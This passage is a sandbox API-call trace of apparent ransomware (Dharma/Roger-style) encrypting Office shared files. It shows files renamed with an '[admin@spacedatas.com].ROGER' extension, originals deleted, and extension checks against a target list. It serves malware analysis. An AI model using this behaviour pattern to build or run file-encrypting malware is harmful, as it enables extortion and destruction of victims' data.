[0049.803] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1009) returned 1 [0049.803] CloseHandle (hObject=0x340) returned 1 [0049.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0049.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0049.803] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.803] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0050.004] GetLastError () returned 0x0 [0050.004] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x3f1, lpOverlapped=0x0) returned 1 [0050.005] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x400, lpOverlapped=0x0) returned 1 [0050.006] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.006] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.006] SetEndOfFile (hFile=0x36c) returned 1 [0050.006] CloseHandle (hObject=0x36c) returned 1 [0050.007] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.007] SetEndOfFile (hFile=0x340) returned 1 [0050.007] CloseHandle (hObject=0x340) returned 1 [0050.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.008] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0050.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.008] lstrlenW (lpString=".doc") returned 4 [0050.008] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.008] lstrlenW (lpString=".docx") returned 5 [0050.008] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.008] lstrlenW (lpString=".pdf") returned 4 [0050.008] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.008] lstrlenW (lpString=".xls") returned 4 [0050.008] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.008] lstrlenW (lpString=".xlsx") returned 5 [0050.008] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.008] lstrlenW (lpString=".ppt") returned 4 [0050.008] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.008] lstrlenW (lpString=".zip") returned 4 [0050.008] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.008] lstrlenW (lpString=".rar") returned 4 [0050.008] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.008] lstrlenW (lpString=".bz2") returned 4 [0050.008] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.008] lstrlenW (lpString=".7z") returned 3 [0050.009] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.009] lstrlenW (lpString=".dbf") returned 4 [0050.009] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.009] lstrlenW (lpString=".1cd") returned 4 [0050.009] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.009] lstrlenW (lpString=".jpg") returned 4 [0050.009] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.009] lstrlenW (lpString=".doc") returned 4 [0050.009] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.009] lstrlenW (lpString=".docx") returned 5 [0050.009] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.009] lstrlenW (lpString=".pdf") returned 4 [0050.009] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.009] lstrlenW (lpString=".xls") returned 4 [0050.009] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.009] lstrlenW (lpString=".xlsx") returned 5 [0050.009] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.009] lstrlenW (lpString=".ppt") returned 4 [0050.009] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.009] lstrlenW (lpString=".zip") returned 4 [0050.009] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.009] lstrlenW (lpString=".rar") returned 4 [0050.009] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.009] lstrlenW (lpString=".bz2") returned 4 [0050.009] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.010] lstrlenW (lpString=".7z") returned 3 [0050.010] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.010] lstrlenW (lpString=".dbf") returned 4 [0050.010] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.010] lstrlenW (lpString=".1cd") returned 4 [0050.010] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.010] lstrlenW (lpString=".jpg") returned 4 [0050.011] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.011] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0050.011] lstrlenW (lpString="FM20.CHM") returned 8 [0050.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.012] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=334427) returned 1 [0050.012] CloseHandle (hObject=0x340) returned 1 [0050.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0050.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.012] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.012] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0050.013] GetLastError () returned 0x0 [0050.013] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0050.020] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0050.026] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.026] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe4, lpOverlapped=0x0) returned 1 [0050.026] SetEndOfFile (hFile=0x36c) returned 1 [0050.026] CloseHandle (hObject=0x36c) returned 1 [0050.026] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.026] SetEndOfFile (hFile=0x340) returned 1 [0050.029] CloseHandle (hObject=0x340) returned 1 [0050.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.029] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0050.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.030] lstrlenW (lpString=".doc") returned 4 [0050.030] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.030] lstrlenW (lpString=".docx") returned 5 [0050.030] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0050.030] lstrlenW (lpString=".pdf") returned 4 [0050.030] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.030] lstrlenW (lpString=".xls") returned 4 [0050.030] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.030] lstrlenW (lpString=".xlsx") returned 5 [0050.030] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0050.030] lstrlenW (lpString=".ppt") returned 4 [0050.030] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.030] lstrlenW (lpString=".zip") returned 4 [0050.030] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.030] lstrlenW (lpString=".rar") returned 4 [0050.030] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.030] lstrlenW (lpString=".bz2") returned 4 [0050.030] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.030] lstrlenW (lpString=".7z") returned 3 [0050.030] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.030] lstrlenW (lpString=".dbf") returned 4 [0050.030] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.030] lstrlenW (lpString=".1cd") returned 4 [0050.030] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.031] lstrlenW (lpString=".jpg") returned 4 [0050.031] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.031] lstrlenW (lpString=".doc") returned 4 [0050.031] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.031] lstrlenW (lpString=".docx") returned 5 [0050.031] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0050.031] lstrlenW (lpString=".pdf") returned 4 [0050.031] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.031] lstrlenW (lpString=".xls") returned 4 [0050.031] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.031] lstrlenW (lpString=".xlsx") returned 5 [0050.031] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0050.031] lstrlenW (lpString=".ppt") returned 4 [0050.031] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.031] lstrlenW (lpString=".zip") returned 4 [0050.031] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.031] lstrlenW (lpString=".rar") returned 4 [0050.031] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.031] lstrlenW (lpString=".bz2") returned 4 [0050.031] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.031] lstrlenW (lpString=".7z") returned 3 [0050.031] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.031] lstrlenW (lpString=".dbf") returned 4 [0050.031] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.031] lstrlenW (lpString=".1cd") returned 4 [0050.031] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0050.032] lstrlenW (lpString=".jpg") returned 4 [0050.032] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.032] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0050.032] lstrlenW (lpString="VBCN6.CHM") returned 9 [0050.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.032] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=109718) returned 1 [0050.032] CloseHandle (hObject=0x340) returned 1 [0050.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0050.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.032] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.032] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0050.033] GetLastError () returned 0x0 [0050.033] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1ac96, lpOverlapped=0x0) returned 1 [0050.036] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1aca0, lpOverlapped=0x0) returned 1 [0050.038] ReadFile (in: hFile=0x340, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.038] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.038] SetEndOfFile (hFile=0x36c) returned 1 [0050.038] CloseHandle (hObject=0x36c) returned 1 [0050.038] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.038] SetEndOfFile (hFile=0x340) returned 1 [0050.040] CloseHandle (hObject=0x340) returned 1 [0050.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.040] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 1 [0050.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.040] lstrlenW (lpString=".doc") returned 4 [0050.040] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.040] lstrlenW (lpString=".docx") returned 5 [0050.040] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.040] lstrlenW (lpString=".pdf") returned 4 [0050.040] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.040] lstrlenW (lpString=".xls") returned 4 [0050.040] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.040] lstrlenW (lpString=".xlsx") returned 5 [0050.040] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.040] lstrlenW (lpString=".ppt") returned 4 [0050.040] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.040] lstrlenW (lpString=".zip") returned 4 [0050.041] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.041] lstrlenW (lpString=".rar") returned 4 [0050.041] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.041] lstrlenW (lpString=".bz2") returned 4 [0050.041] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.041] lstrlenW (lpString=".7z") returned 3 [0050.041] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.041] lstrlenW (lpString=".dbf") returned 4 [0050.041] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.041] lstrlenW (lpString=".1cd") returned 4 [0050.041] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.041] lstrlenW (lpString=".jpg") returned 4 [0050.041] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.041] lstrlenW (lpString=".doc") returned 4 [0050.041] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.041] lstrlenW (lpString=".docx") returned 5 [0050.041] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0050.041] lstrlenW (lpString=".pdf") returned 4 [0050.041] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.041] lstrlenW (lpString=".xls") returned 4 [0050.041] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.041] lstrlenW (lpString=".xlsx") returned 5 [0050.041] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0050.041] lstrlenW (lpString=".ppt") returned 4 [0050.041] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.041] lstrlenW (lpString=".zip") returned 4 [0050.042] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.042] lstrlenW (lpString=".rar") returned 4 [0050.042] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.042] lstrlenW (lpString=".bz2") returned 4 [0050.042] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.042] lstrlenW (lpString=".7z") returned 3 [0050.042] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.042] lstrlenW (lpString=".dbf") returned 4 [0050.042] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.042] lstrlenW (lpString=".1cd") returned 4 [0050.042] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0050.042] lstrlenW (lpString=".jpg") returned 4 [0050.042] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.042] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0050.042] lstrlenW (lpString="VBENDF98.CHM") returned 12 [0050.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.043] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=72031) returned 1 